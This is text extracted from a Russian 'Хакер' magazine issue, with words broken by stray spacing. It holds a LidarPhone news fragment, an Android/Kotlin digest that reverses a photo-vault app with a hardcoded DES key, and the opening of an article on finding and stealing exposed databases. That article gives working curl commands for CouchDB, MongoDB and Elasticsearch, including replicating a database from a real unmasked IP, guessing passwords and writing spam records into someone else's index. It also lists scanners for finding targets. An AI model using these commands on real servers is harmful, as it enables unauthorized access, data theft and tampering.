меру,  лидар  устрой ства  акти вен  и  вра щает ся  пос тоян но,  что  сок раща ет
количес тво  дан ных,  которые  может  соб рать  ата кующий.  Зло умыш ленник
будет  вынуж ден  най ти  некую  уяз вимость,  что бы  проб рать ся  в  про шив ку
и оста новить вра щение лидара, зас тавив его сфо куси ровать ся на одном объ‐ 
екте.  Так же  нуж но  отме тить,  что  лидары  роботов‐пылесо сов  далеко  не  так
точ ны, как лазер ные мик рофоны.

Нев зирая  на  огра ниче ния,  иссле дова телям  уда лось  получить  хорошие
резуль таты  во  вре мя  тес тов  на  роботе‐пылесо се  Xiaomi  Roborock.  Экспе‐ 
римен ты  иссле дова телей  кон цен три рова лись  на  вос ста нов лении  «чис ловых
зна чений»,  которые  в  ито ге  уда лось  рас познать  с  точ ностью  90%.  Одна ко
авто ры ата ки отме чают, что LidarPhone мож но исполь зовать для иден тифика‐ 
ции говоря щих по полово му приз наку и даже для опре деле ния полити чес ких
взгля дов целей по выпус кам новос тей, зву чащим на фоне.
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Се год ня  в  выпус ке:  обна руже ние  динами‐ 
чес ки  заг ружа емо го  при ложе нием  кода,
реверс  при ложе ния  для шиф рования  фай‐ 
лов,  рас сказ  об  исто рии  соз дания  State‐
Flow,  SharedFlow  и  BroadcastChannel
в  Kotlin,  статья  с  под боркой  инс тру мен тов
для  сер верной  раз работ ки  на  Kotlin,  объ‐ 
ясне ние  сути  кон трак тов  Kotlin,  замет ка
о  фун кции  Surround  With  в  IDEA  и  Android
Studio. А так же под борка све жих биб лиотек
для раз работ чиков.

ПОЧИТАТЬ

Обнаружение динамически загружаемого кода
  —  статья

о  том,  как  опре делить,  заг ружа ет  ли  при ложе ние  допол нитель ный  исполня‐ 
емый код уже пос ле сво его стар та. Так час то дела ют злов реды, что бы избе‐ 
жать обна руже ния злов редно го кода.

Detecting  Dynamic  Loading  in  Android  Applications  With  /proc/maps

Ме тод  край не  прос той.  Дос таточ но  иметь  рутован ный  смар тфон  с  уста‐ 
нов ленным при ложе нием и кабель для под клю чения к ПК. Далее выпол няем
коман ду  , что бы открыть кон соль устрой ства, получа ем пра ва root
с помощью коман ды  ,  узна ем имя PID  (иден тифика тор про цес са) нуж ного
нам при ложе ния:

adb shell
su

ps   | $  ‐A grep имя.пакета.приложения 

PID  будет  во  вто рой  колон ке.  Теперь  выпол няем  сле дующую  коман ду,  под‐ 
став ляя получен ный PID:

 cat /proc/PID/maps | grep '/data/data'

Файл   син тетичес кий. Он содер жит таб лицу всех отоб ражен‐ 
ных  в  памяти  про цес са фай лов. Пер вая  часть  при веден ной  коман ды  чита ет
этот  файл.  Вто рая  часть  коман ды  ( )  оставля ет  в  выводе
толь ко фай лы из при ват ного катало га при ложе ния (

).  Имен но  отту да  злов реды  обыч но  заг ружа ют  допол нитель ный
код.

/proc/PID/maps

grep  /data/data
/data/data/имя.пакета.

приложения

Дешифровка зашифрованных приложением файлов
 — раз бор спо соба ревер са и пос‐ 

леду ющей  рас шифров ки  фай лов  при ложе ния  Calculator+  —  Photo  Vault  &
Video Vault hide photos. При мер край не прос той и поэто му хорошо под ходит
для демонс тра ции основ ревер са при ложе ний для Android.

Decrypting  images hidden with Calculator+

Итак, есть при ложе ние Calculator+, которое име ет неожи дан ную фун кцию
сек ретно го хра нили ща зашиф рован ных фотог рафий и виде оро ликов. Задача:
вытащить эти фотог рафии, не исполь зуя само при ложе ние.
1. Из вле каем при ложе ние из смар тфо на:

$ adb shell pm list packages|grep calc 
$ adb shell pm path eztools.calculator.photo.vault 
$ adb pull /data/app/eztools.calculator.photo.vault‐OP_MBoGMZN‐
LZ5wr50dNWA==/base.apk 

2. Ис поль зуем   для деком пиляции при ложе ния обратно в исходный
код Java.

JADX‐GUI

3. С помощью встро енной фун кции поис ка ищем все стро ки, име ющие отно‐ 
шение  к шиф рованию:  encrypt,  decrypt,  AES  и  так  далее.  Авто ру  уда лось
най ти сле дующий фраг мент кода:

       FileInputStream fileInputStream = new FileInputStream(this.f6363e.
f6361a);

       ByteArrayOutputStream byteArrayOutputStream = new
ByteArrayOutputStream();

   EncryptUtils.m10791a("12345678", fileInputStream,
byteArrayOutputStream);
byteArrayOutputStream.flush();

       ByteArrayInputStream byteArrayInputStream = new
ByteArrayInputStream(byteArrayOutputStream.toByteArray());

   this.f6362d = byteArrayInputStream;
aVar.mo2601d(byteArrayInputStream);

Ме тод    ока зал ся  иско мым  методом  шиф‐ 
рования.

EncryptUtils.m10791a()

Как  вид но  из  кода,  метод  шиф рует  файл  алго рит мом  DES  и  клю чом,
передан ным ему в качес тве аргу мен та. А в аргу мен те всег да переда ется
стро ка 12345678.

4. Рас шифро вать  фай лы  не  сос тавит  тру да,  но  сна чала  необ ходимо  най ти,
где они хра нят ся. Для это го надо прос ледить за метода ми, вызыва ющи ми
метод шиф рования. В ито ге нашел ся такой код:

           public static final File m18904s(Context context) {
      C3655i.m20371c(context, "context");
          File externalFilesDir = context.getExternalFilesDir(
"photo_encrypt");
            if (externalFilesDir != null) {

         return externalFilesDir;
    }
    C3655i.m20376h();
      throw null;
}

Это  код  соз дания  объ екта  клас са  File  во  внеш нем  при ват ном  катало ге
при ложе ния (context.getExternalFilesDir):

/sdcard/Android/data/eztools.calculator.photo.vault/files 

5. Те перь фай лы мож но извлечь и рас шифро вать. Автор написал для  это го
скрипт на Python, при водить его здесь я не буду.

РАЗРАБОТЧИКУ

SharedFlow, StateFlow и broadcast channels
 — статья Романа Ели заро ва (текуще го гла вы

раз работ ки  Kotlin)  о  раз витии  средств  ком муника ции  меж ду  корути нами
и текущем положе нии дел в этой области.

Shared flows, broadcast channels

Статья начина ется с рас ска за о каналах (Channel) — средс тве ком муника‐ 
ции  потоков  исполне ния  (в  дан ном  слу чае  корутин),  поза имс тво ван ном
из модели парал лель ного  прог рамми рова ния CSP и  язы ка Go.  Каналы поз‐ 
воля ют  удоб но  и  лег ко  обме нивать ся  дан ными  и  син хро низи ровать  сос‐ 
тояние нес коль ких корутин без опас ности стол кнуть ся с проб лемой одновре‐ 
мен ного изме нения сос тояния объ екта.

В допол нение к клас сичес ким каналам в биб лиоте ке kotlinx‐coroutines так‐ 
же появил ся так называ емый BroadcastChannel. Это спе циаль ный тип канала,
поз воля ющий  получать  отправ ленные  в  канал  сооб щения  сра зу  нес коль ким
корути нам (под писчи кам). По сути, это была реали зация пат терна event bus.

В целом каналы были весь ма неп лохим решени ем, но толь ко до тех пор,
пока  раз работ чику  не  тре бова лось  орга низо вать  высокоп роиз водитель ный
кон вей ер  обра бот ки  дан ных,  ког да  дан ные  переда ются  по  каналу  одной
корути не,  затем  под верга ются  обра бот ке  и  с  помощью  дру гого  канала
переда ются сле дующей корути не.

Ка налы, в силу сво ей при роды как механиз ма син хро низа ции, прос то не мог‐ 
ли  обес печить  при емле мой  про изво дитель нос ти  в  таком  сце нарии  исполь‐ 
зования.

Эту  проб лему  решил  новый механизм  переда чи  дан ных — Flow. Он  поз‐ 
воля ет  соз дать  так  называ емый  холод ный  поток  дан ных,  который  будет
порож ден  толь ко при под клю чении пот ребите ля и соз даст проб лемы с про‐ 
изво дитель ностью, толь ко если источник и пот ребитель будут работать в раз‐ 
ных потоках. Основная идея Flow в том, что бы поз волить прог раммис ту «опи‐ 
сать» алго ритм генера ции потока дан ных и запус кать этот поток лишь тог да,
ког да в нем воз никнет необ ходимость. К при меру, сле дующий код не соз дает
никаких дан ных до тех пор, пока на объ екте   не будет выз ван метод

:
coldFlow

collect

       val coldFlow = flow {
       while (isActive) {
       emit(nextEvent)
   }
}

При этом каж дый пот ребитель получит собс твен ную копию дан ных. И в этом
же его проб лема. Flow пре вос ходно справ ляет ся с задачей орга низа ции кон‐ 
вей еров обра бот ки дан ных, но его нель зя исполь зовать, ког да поток дан ных
дол жен  сущес тво вать  сам  по  себе:  нап ример,  для  орга низа ции  обра бот ки
сис темных событий в том самом пат терне event bus.

Ре шить  эту  задачу  приз ван SharedFlow. Это  сво его рода  про изво дитель‐ 
ный  ана лог  BroadcastChannel,  он  сущес тву ет  незави симо  от  наличия  пот‐ 
ребите лей  (которые  теперь  называ ются  под писчи ками)  и  отда ет  всем  под‐ 
писчи кам  одни  и  те  же  дан ные  (в  про тиво вес  клас сичес кому  Flow,  который
соз дает инди виду аль ный поток дан ных для каж дого пот ребите ля).

Соз дать event bus с помощью SharedFlow край не прос то:

   class BroadcastEventBus {
           private val _events = MutableSharedFlow<Event>()
         val events = _events.asSharedFlow()

           suspend fun postEvent(event: Event) {
       // Корутина будет приостановлена до получения сообщения 
подписчиками
       _events.emit(event)
   }
}

По  умол чанию  корути на‐про изво дитель  при оста нав лива ет  свое  исполне ние
до  тех  пор,  пока  пот ребите ли  не  получат  новое  сооб щение. Это  поведе ние
мож но изме нить: соз дать буфер сооб щений, который смо жет породить про‐ 
изво дитель  перед  тем,  как  его  корути на  будет  при оста нов лена,  или  ука зать
раз мер исто рии сооб щений, что бы вновь под клю чив шиеся под писчи ки мог ли
получить уже опуб ликован ные сооб щения.

Ес ли  же  задача  тре бует,  что бы  про изво дитель  не  при оста нав ливал ся
ни  при  каких  обсто ятель ствах,  а  пот ребите ли  получа ли  толь ко  пос леднее
сооб щение, то для это го есть StateFlow. Это осно ван ная на Flow реали зация
пат терна «Сос тояние»:

   class StateModel {
           private val _state = MutableStateFlow(initial)
         val state = _state.asStateFlow()

         fun update(newValue: Value) {
       // Производитель не приостанавливается

          _state.value = newValue
   }
}

Как говорит Роман,   мож но пред ста вить как асин хрон‐ 
ную вер сию   с фун кци ей под писки на обновле ния.

val x: StateFlow<T>
var x: T

Учи тывая все ска зан ное выше, мож но утвер ждать, что Flow стал пол ноцен‐ 
ной, более про изво дитель ной и приб лижен ной к реаль ным задачам заменой
каналов. Одна ко  в  одном  слу чае  каналы  име ют  пре иму щес тва:  ког да  сооб‐ 
щение дол жно быть обра бота но ров но один раз (не боль ше и не мень ше).

   class SingleShotEventBus {
           private val _events = Channel<Event>()
         val events = _events.receiveAsFlow()

           suspend fun postEvent(event: Event) {
       // Корутина будет приостановлена при переполнении
       _events.send(event)
   }
}

Этот при мер схож с при веден ным ранее  . Он так же отда‐ 
ет  сооб щения  во  внеш ний  мир  с  помощью  Flow.  Но  есть  важ ное  отли чие:
в пер вом слу чае при отсутс твии под писчи ков сооб щение будет выб рошено,
во вто ром про изво дитель будет при оста нов лен до тех пор, пока не появит ся
пот ребитель.

BroadcastEventBus

Kotlin и контракты
 —  статья  о  том,  как  сде лать  ком пилятор

Kotlin умнее, исполь зуя кон трак ты.
How  to Make  the  Compiler  Smarter

Ком пилятор  Kotlin  (и  ана лиза тор  кода  в  сре де  раз работ ки)  отли чает ся
мощ ной  сис темой  выведе ния  типов.  Нап ример,  в  сле дующем  фраг менте
кода ком пилятор спо собен самос тоятель но понять, что перемен ная   не рав‐ 
на null при исполь зовании в качес тве аргу мен та фун кции  :

s
print

   fun printLengthOfString() {
           val s: String? = "Hey Medium!"
           if (s != null) {
       print("The length of '$s' is ${s.length}")
   }
}

Но сто ит нем ного изме нить код, и ком пилятор ста новит ся бес силен:

   fun printLengthOfString() {
           val s: String? = "Hey Medium!"
       if (s.isNotNull()) {
       print("The length of '$s' is ${s.length}")
   }
}

     fun String?.isNotNull(): Boolean {
         return this != null
}

К счастью,  начиная  с Kotlin  1.3  в  нашем рас поряже нии есть механизм,  поз‐ 
воля ющий под ска зать ком пилято ру, как быть с теми или ины ми типами в раз‐ 
ных  ситу ациях.  Мы  можем  как  бы  зак лючить  с  ком пилято ром  кон тракт,  что
если при веден ная выше фун кция   воз вра щает  true,  то это зна чит,
что  стро ка  не  рав на  null.  Ком пилятор  будет  это  учи тывать  при  выведе нии
типов.

isNotNull

Кон трак ты пишут ся в самом начале фун кции при мер но в таком виде:

     fun String?.isNotNull(): Boolean {
     contract {

            returns(true) implies(this@isNotNull != null)
   }
         return this != null
}

В  дан ном  слу чае  кон тракт  как  раз  сооб щает,  что  если фун кция  воз вра щает
true ( ), то стро ка не рав на null (

).  Ком пилятор  будет  это  учи тывать,  и  при веден ный  выше  при мер  уже
не будет оши боч ным.

returns(true) implies (this@isNotNull !=
null)

Вто рая  часть  кон трак та  (фун кция  )  называ ется  эффектом.  Есть
так же дру гой  эффект —  . Он нужен для  того,  что бы сооб щить
ком пилято ру,  что  ука зан ная  в  аргу мен те  лям бда  была  выпол нена  один
или боль ше раз.

implies
CallsInPlace

Ра бота ет это так. Допус тим, у нас есть такой код:

   var a: Int
{
       a = 42
}
print(a)

Этот код не будет ском пилиро ван, так как ком пилятор не уве рен, что код внут‐ 
ри лям бды  ( ) был выпол нен  хотя бы раз.  Теперь добавим в  код  кон‐ 
тракт:

a = 42

   fun main() {
       var a: Int
     initialize {

          a = 42
   }
   print(a)
}

         fun initialize(myLambda: () ‐> Unit) {
     contract {

        callsInPlace(myLambda, InvocationKind.AT_LEAST_ONCE)
   }
   myLambda()
}

Те перь код успешно ком пилиру ется, потому что мы завери ли ком пилятор, что
лям бда   будет выпол нена хотя бы один раз.initialize

Серверная разработка на Kotlin
  —  статья  раз‐ 

работ чиков из JetBrains о сер верной раз работ ке на язы ке Kotlin и фрей мвор‐ 
ках, которые могут в этом помочь.

Server‐Side  Development  with  Kotlin:  Frameworks  and  Libraries

1. Spring  Framework.  Один  из  самых  популяр ных  фрей мвор ков
для бэкенд‐раз работ ки. Spring изна чаль но мож но было исполь зовать сов‐ 
мес тно  с  Kotlin,  но  начиная  с  пятой  вер сии  в  фрей мвор ке  появил ся  ряд
рас ширений для более удоб ной раз работ ки на этом язы ке. Даже при меры
в докумен тации Spring теперь при веде ны на двух язы ках. Генера тор про‐ 
ектов start.spring.io теперь так же под держи вает Kotlin.

2. Ktor.  Фрей мворк  для  соз дания  асин хрон ных  кли ент ских  и  сер верных
веб‐при ложе ний,  раз работан ный  в  JetBrains.  Базиру ется  на  корути нах
и обла дает высокой мас шта биру емостью.

3. Exposed. Реали зация SQL ORM для Kotlin.
4. Spek, Kotes, MockK, Kotlin Power Assert. Биб лиоте ки тес тирова ния и мокин‐ 
га спе циаль но для Kotlin.

5. Klaxon, kotlinx.serialization. Биб лиоте ки для удоб ной работы с JSON.
6. RSocket. Про токол для соз дания мик росер висов с под дер жкой Kotlin.
7. GraphQL Kotlin. Биб лиоте ка для удоб ной работы с GraphQL из Kotlin.

Мно гие дру гие фрей мвор ки, вклю чая Micronaut, Quarkus, Javalin, Spark Java,
Vaadin,  CUBA  и  Vert.x,  так же  под держи вают  Kotlin  и  име ют  докумен тацию
и  при меры  кода  на  Kotlin.  Боль шой  спи сок  Kotlin‐биб лиотек  мож но  най ти

.здесь

Живые шаблоны и Surround With
 — статья об очень полез ной,

но далеко не всем извес тной фун кции IDEA под наз вани ем Surround With.
IntelliJ IDEA / Android Studio Tricks: Surround With

В  IDEA  (и,  как  следс твие,  Android  Studio)  есть  фун кция  Live  Templates
(живые  шаб лоны),  которая  пред став ляет  собой  неч то  вро де  сок ращений
для  длин ных  строк  кода  и  конс трук ций.  Типич ный  при мер — шаб лон   —
if null. Ты прос то пишешь ifn, затем нажима ешь Tab, и сре да раз работ ки сама
встав ляет в код конс трук цию  , авто мати чес ки выделя ет
  и  ста вит  на  него  кур сор.  Фун кция  нас толь ко  умная,  что  даже  попыта ется
пред ска зать  имя  перемен ной    на  осно вании  того,  какие  перемен ные
текущей области видимос ти могут иметь зна чение null.

ifn

if (x == null) { }
x

x

У шаб лонов есть родс твен ная фун кция под наз вани ем Surround With. Она
работа ет при мер но так же, но по отно шению к уже име юще муся выраже нию.
Нап ример, если навес ти кур сор на любую стро ку кода и нажать Ctrl + Alt + T,
сре да раз работ ки покажет на экра не меню с выбором шаб лонов. Сре ди них
есть  шаб лон,  который  обра мит  выраже ние  в  блок  try/catch,  в  if/else  и  так
далее.

И  конеч но  же,  IDEA  поз воля ет  соз давать  собс твен ные шаб лоны. Открой
нас трой ки, далее Editor → Live Templates, затем кноп ка +. Полез ные при меры
шаб лонов:

       by lazy { $SELECTION$ }

 CoroutineScope(Dispatchers.Main).launch {
   $SELECTION$
}

 withContext(Dispatchers.IO) {
   $SELECTION$
}

БИБЛИОТЕКИ

 —  заменя ет  стан дар тное  сооб щение  о  кра ше  при‐ 
ложе ния на экран со стек трей сом;

• Red Screen Of Death

 — биб лиоте ка для соз дания экра нов обу чения;• Spotlight
 — встра иваемый редак тор кода;• CodeView
 — Kotlin‐рас ширения для биб лиоте ки BlurHash;• BlurHashExt

 — биб лиоте ка для получе ния текущих коор динат с исполь‐ 
зовани ем Kotlin Flow;

• LocationFetcher

 — биб лиоте ка для прос мотра содер жимого базы дан‐ 
ных при ложе ния пря мо на устрой стве;

• Android_dbinspector

 — визу али затор зву ково го спек тра;• iiVisu
 — редак тор кода с под свет кой син такси са;• Brackeys‐IDE

 — демоп риложе ние, которое опре деля ет, что был сде‐ 
лан скрин шот при ложе ния;

• ScreenshotDetector

 — биб лиоте ка для соз дания кли ентов и сер веров GraphQL
на Kotlin;

• GraphQL Kotlin

  —  анно тация,  поз воля ющая  пометить  выраже ние 
как исчерпы вающее (не име ющее дру гих вари антов);

• Exhaustive when

 — биб лиоте ка для соз дания полей, которые будут про‐ 
ини циали зиро ваны  в  момент  выпол нения  lifecycle‐кол бэка  (onCreate,  on‐
Start и так далее);

• Lifecycle‐Delegates

 — биб лиоте ка для удоб ного соз дания бан длов (Bundle);• Bundler
  —  биб лиоте ка  для  получе ния  при мер ного  вре мени  на  чте ние

тек ста.
• ReadTime
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ВЗЛОМ

Прак тичес ки каж дый день «Хакер» пишет о мас штаб ных и не
очень  утеч ках  дан ных.  «Течет»  отку да  толь ко  мож но,  и  пос‐ 
ледс твия  быва ют  самыми  раз ными.  Сегод ня  я  пос тара юсь
рас ска зать  и  показать,  как  лег ко  зло умыш ленни ки  могут
получить  дос туп  к  обширным мас сивам  все воз можных  дан‐ 
ных.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни автор, ни редак ция
не  несут  ответс твен ности  за  любой  воз можный
вред,  при чинен ный  матери ала ми  дан ной  статьи.
Неп равомер ный  дос туп  к  компь ютер ной
информа ции прес леду ется по закону.

Преж де чем прис тупать к ата кам, пред лагаю разоб рать ся, почему они вооб‐ 
ще воз можны и почему жизнь по‐преж нему ничему не учит адми нов и про чих
при час тных к защите БД.

По рог вхож дения в при мене ние сов ремен ных БД, как и в IT в целом, сни‐ 
жает ся.  Начина юще му  эни кей щику  все  про ще  попасть  на  адми нис три‐ 
рова ние  сер виса,  тре бующе го  тща тель ной  и  вни матель ной  нас трой ки,
да и эле мен тарных зна ний о кон крет ном про дук те. К счастью таких «инже‐ 
неров», но к сожале нию вла дель цев утек ших дан ных, мно гие сетевые сер‐ 
висы (нап ример, базы дан ных) мож но раз вернуть «в один клик». При этом
совер шенно не тре бует ся понимать механизм работы и воз можные угро зы
раз верты ваемым  сер висам.  И  хорошо,  если  све жеус танов ленная  база
дан ных  нас тра ива лась  хотя  бы  по  инс трук ции  с  пер вой  стра ницы  поис‐ 
ковика. А если нет?

•

Час тень ко  авто риза цию  отклю чают  по  сооб ражени ям  «удобс тва»  работы
с  дан ными.  В  ито ге  наружу  тор чит  порт,  а  неред ко  и  интерфейс  СУБД,
с которым мож но делать что угод но. При ходи — бери что хочешь…

•

На чаль ство тре бует сде лать все мак сималь но дешево, так как денег мало
и  тра тить  их  на  дос той ного  спе ца  не  хочет ся.  Вот  и  про сят  дизай нера
Вась ку накатить и нас тро ить БД для ком пании за чаш ку кофе. Какая уж тут
безопас ность — хорошо, если хоть пароль пос тавит.

•

Та ким  обра зом,  одной  из  основных  при чин  утеч ки  дан ных  слу жит 
  небезо пас ная  кон фигура ция  СУБД,  оставлен ная

в резуль тате нев ниматель нос ти или же прос то недос татка зна ний.

кри вору‐ 
кость  адми нис тра торов

WWW

Пу гающие  мас шта бы  кри вору кос ти  адми нов
и  при меры  уте чек  из‐за  это го  мож но  уви деть
на канале « », да и в «Хакере»
мы о них  .

Утеч ки информа ции
ре гуляр но пишем

САМЫЕ ИНТЕРЕСНЫЕ СУБД
СУБД  —  это  сис тема  управле ния  базами  дан ных,  которая  обес печива ет
механизм хра нения и поис ка этих самых дан ных. В даль нейшем я буду час то
исполь зовать это сок ращение.

CouchDB
 — это база дан ных с откры тым исходным

кодом,  раз работан ная  прог рам мным  фон дом
Apache.  Клас сичес кая  NoSQL‐база.  Написа на
на язы ке Erlang.

CouchDB

Боль ше все го нас инте ресу ют спо собы под клю чения:
порт HTTP API (по умол чанию — 5984);•
веб‐интерфейс  .• Futon

Дос туп к БД реали зован по про токо лу HTTP с исполь зовани ем JSON API, что
поз воля ет  обра щать ся  к  дан ным  в  том  чис ле  из  выпол няемых  в  бра узе ре
веб‐при ложе ний. Име ет свой собс твен ный гра фичес кий веб‐интерфейс (

).
Fu‐

ton
Мы же вос поль зуем ся обыч ным  . Вот, к при меру, зап рос при ветс твия:curl

curl http://127.0.0.1:5984/ 

От вет рас ска жет нам о номере вер сии, име ни пос тавщи ка и вер сии прог рам‐ 
мно го обес печения:

{
 "couchdb":"Welcome","version":"2.3.1",
 "git_sha":"c298091a4",
 "uuid":"777dc19849f3ff0392ba09dec1a62fa7",
 "features":["pluggable‐storage‐engines","scheduler"],
 "vendor":{"name":"The Apache Software Foundation"}

}

Что бы получить спи сок всех БД на сер вере, мож но выпол нить такой зап рос:

curl http://127.0.0.1:5984/_all_dbs 

В ответ мы уви дим

[
 "_replicator",
 "_users",
 "mychannel_",
 "mychannel_kizuna‐chaincode",
 "mychannel_lscc",
 "mychannel_user"

]

Здесь   и   — это стан дар тные БД._replicator _users
В ответ так же мож но получить такую ошиб ку:

{
 "error":"unauthorized",
 "reason":"You are not a server admin."

}

Сме ло  идем мимо,  здесь  ловить  нечего.  Уро вень  ано ним ного  дос тупа  нас‐ 
тро ен  так,  что мы  не можем даже  уви деть  спи сок БД  на  сер вере,  не  то  что
к ним под клю чить ся. Но мож но поп робовать науда чу подоб рать пароль. Зап‐ 
рос на авто риза цию выг лядит сле дующим обра зом:

curl   ‐X PUT http://localhost:5984/test ‐u "login:password"

Что бы под клю чить ся к гра фичес кому интерфей су, нет необ ходимос ти ста вить
какое‐либо ПО, дос таточ но прос то в бра узе ре перей ти по такому адре су:

http://127.0.0.1:5984/_utils/ 

Что бы унес ти дан ные, мож но вос поль зовать ся сле дующим зап росом:

curl   

 

‐X POST ‐d '{"source":"http://54.161.77.240:5984/
klaspadchannel_","target":"http://localhost:5984/klaspadchannel_"}' 
http://localhost:5984/_replicate ‐H "Content‐Type: application/json"

Ко неч но  же,  пот ребу ется  под нять  сер вер  CouchDB  на  локаль ной  машине.
Впро чем, было бы стран но, если бы его у тебя не было, раз уж ты соб рался
работать с этой базой.

MongoDB
MongoDB  —  это  кросс‐плат формен ная  докумен‐ 
тоориен тирован ная  база  дан ных,  которая  обес‐ 
печива ет  высокую  про изво дитель ность  и  лег кую
мас шта биру емость.  В  осно ве  дан ной  БД  лежит  кон цепция  кол лекций
и докумен тов. Спо собов под клю чения опять два:

HTTP API (порт по умол чанию — 27017);•
кли ент  .• Robo 3T

По лучить  минималь ную  информа цию  о  наход ке  мож но  прос тым  GET‐зап‐ 
росом на порт API.

curl ‐X GET http://114.116.117.104:27017 

Све дения здесь и прав да скром ные, без драй вера БД не удас тся добыть хоть
сколь ко‐нибудь полез ные дан ные, кро ме того, что БД здесь вооб ще при сутс‐ 
тву ет (или нет).

Ес ли на пор те кру тит ся дей стви тель но MongoDB, то ответ при дет таким:

 

 

It looks like you are trying to access MongoDB over HTTP on the native 
driver port.

Это го  впол не  дос таточ но,  что бы  про дол жить  руч ную  про вер ку  при  помощи
гра фичес кого кли ента.

Унес ти дан ные из наход ки мож но через GUI.

Elasticsearch
Elasticsearch  —  это  пред ста витель  клас терных
NoSQL  баз  дан ных,  име ющий  JSON  REST  API
и исполь зующий Lucene для пол нотек сто вого поис‐ 
ка. Написа на на Java. Мы будем рас смат ривать ее как хра нили ще докумен тов
в фор мате JSON.

Ба за Elasticsearch спо соб на мас шта биро вать ся до петабайт струк туриро‐ 
ван ных и нес трук туриро ван ных дан ных. Дан ные в индексе раз делены на один
или нес коль ко осколков (шар дов). Бла года ря раз делению Elasticsearch может
мас шта биро вать ся  и  дос тигать  раз меров,  которые  не  потяну ла  бы  одна
машина.  Elasticsearch —  это  рас пре делен ная  сис тема,  опи сать  мак сималь‐ 
ные  объ емы  хра нения  дан ных  зат рудни тель но,  могу  ска зать  толь ко,  что  там
могут лежать петабай ты и боль ше.

Спо собы под клю чения сле дующие:
HTTP API (порт по умол чанию — 9200);•
гра фичес кий кли ент Kaizen, который  .• мож но взять на офи циаль ном сай те

HTTP API — шту ка очень прос тая. Для начала давай  зап росим при ветс твие.
Ради безопас ности подопыт ного сер вера часть адре са замаза на:

curl ‐XGET http://47.99.Х.Х:9200/ 

Ес ли  все  хорошо  и  мы  прав да  наш ли  «Элас тик»,  то  в  ответ  при дет  что‐то
подоб ное:

{
 "name" : "node‐2",
   "cluster_name" : "es",
   "cluster_uuid" : "q10ZJxLIQf‐ZRZIC0kDkGQ",
   "version" : {
       "number" : "5.5.1",
       "build_hash" : "19c13d0",
       "build_date" : "2017‐07‐18T20:44:24.823Z",
       "build_snapshot" : false,
       "lucene_version" : "6.6.0"
   },
   "tagline" : "You Know, for Search"
}

Вы ведем спи сок всех индексов в БД:

curl  v ‐XGET http://47.99.Х.Х:9200/_cat/indices\?

От вет получим при мер но такой.

 

 

health status index         uuid                   pri rep docs.count 
docs.deleted store.size pri.store.size 
green  open   bdp‐interface x3DLdQRyTK2jssMvIJ3FmA   5   1      32576           
28    428.9mb        214.4mb 
green  open   onair‐vlog    Vsq0srUGSk2NvvYmXpxMBw   5   1         22            
0    931.9kb        465.9kb 
green  open   meizidb       PCybF4SvTdSt1BoOCYLxNw   5   1       5328            
1     27.9mb         13.9mb 
green  open   rms‐resource  R6c3U5_pQgG71huRD0OdDA   5   1     125827           
36      1.2gb        636.2mb

Уз наем наз вания полей, которые хра нят ся в БД:

curl ‐XGET http://47.99.X.X:9200/meizidb 

От вет:

{
 "meizidb":{
   "aliases":{},
   "mappings":{
     "assets":{
       "dynamic_templates":[{"string":{
           "match_mapping_type":"string",
           "mapping":{"type":"keyword"}
       }}],
       "properties":{
         "annexList":{
           "properties":{
             "annexFileId":{"type":"keyword"},
             "annexName":{"type":"keyword"},
             "annexSize":{"type":"long"},
             "annexThumbUrl":{"type":"keyword"},
             "annexType":{"type":"keyword"},
             "annexUrl":{"type":"keyword"}
           }
         },
         "appCode":{"type":"keyword"},
         "asrText":{"type":"text","index_options":"offsets",
"analyzer":"ik_max_word"},
         "assetsType":{"type":"keyword"},
         "cdetail":{
           "properties":{
             "SP":{"type":"keyword"},
             "jz":{"type":"keyword"},
             "src":{"type":"keyword"},
             "tag":{"type":"keyword"},
             "type":{"type":"keyword"}
           }
         },
         "companyId":{"type":"keyword"},
         "companyName": ...
}

Мож но  и  вно сить  записи.  Но  я  нас тоятель но  не  рекомен дую,  так  как  без
догово ра с вла дель цем сер вера это может пов лечь тяж кие пос ледс твия.

curl   
   @‐   

‐X POST http://47.99.Х.Х:9200/onair‐vlog/catalogue/1 ‐H
'Content‐Type: application/json' ‐d << EOF
{
  "username" : "KassNT",
  "subject" : "My Referal url: ",
  "referal" : "https://xakep.ru/paywall/form/?init&
code=xakep‐promo‐KassNT"
}
EOF

Продолжение статьи →

mailto:localhostt412@mail.ru
https://t.me/dataleak
https://xakep.ru/tag/leaks/
https://docs.couchdb.org/en/1.6.1/intro/futon.html
https://docs.couchdb.org/en/1.6.1/intro/futon.html
https://robomongo.org/download
https://www.elastic-kaizen.com/download.html


В ПОИСКАХ УТЕЧЕК
КАК ХАКЕРЫ ИЩУТ И УГОНЯЮТ ЧУЖИЕ

БАЗЫ ДАННЫХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПРИМЕРЫ РУЧНОГО ПОИСКА
Су щес тву ют два пути поис ка подопыт ных.

  —  онлай новые  сер висы,  которые  ска ниру ют  весь  мир
и пре дос тавля ют нам информа цию о хос тах при помощи поис ковых опе рато‐ 
ров. Мож но, нап ример, «прос то най ти» цель в одном из них.

Пер вый  путь

• Shodan.io
• Fofa.so
• Censys.io
• Zoomeye.org
• Binaryedge.io
• Lampyre.io

По казы вать  каж дый  под робно  я  не  буду,  но  при веду  нес коль ко  при меров.
Нап ример, зап рос на поиск MongoDB для сер виса Fofa будет выг лядеть так.

Fofa.so

По доб ный  ему  сер вис —  Zoomeye.org.  Зап рос  на  поиск  хос тов  с  под нятой
CouchDB здесь будет выг лядеть так же нес ложно.

ZoomEye

Про демонс три рую резуль таты работы сер виса Shodan с помощью одно имен‐ 
ной  кон соль ной  ути литы.  Резуль тат  поис ка  по  зап росу 

 будет как на скри не ниже.
[product:mongodb 

all:"metrics"]

Shodan

 — при менить руч ные ска неры.Вто рой путь

• Nmap
• Masscan
Zmap из пакета ути лит • Zmap.io

• Project Sonar
Что‐то свое•

Ска ниро вание,  конеч но,  руч ное,  но  почему  бы  не  вос поль зовать ся  готовым
набором дан ных? Нап ример, если VPS‐про вай дер не поз воля ет ска ниро вать
все под ряд на огромной ско рос ти, то эти ребята уже сде лали все за вас! Ну,
поч ти.

О Project Sonar слы шало не так мно го людей. Это иссле дова тель ский про‐ 
ект, который ска ниру ет сер висы и про токо лы, что бы получить пред став ление
о  гло баль ном  воз дей ствии  рас простра нен ных  уяз вимос тей.  Раз работан
в  ком пании,  соз давшей,  наде юсь,  небезыз вес тный  тебе  Metasploit  Frame‐
work,  —  Rapid7.  Соб ранные  дан ные  дос тупны  широкой  пуб лике  для  иссле‐ 
дова ний в области безопас ности.

Project Sonar

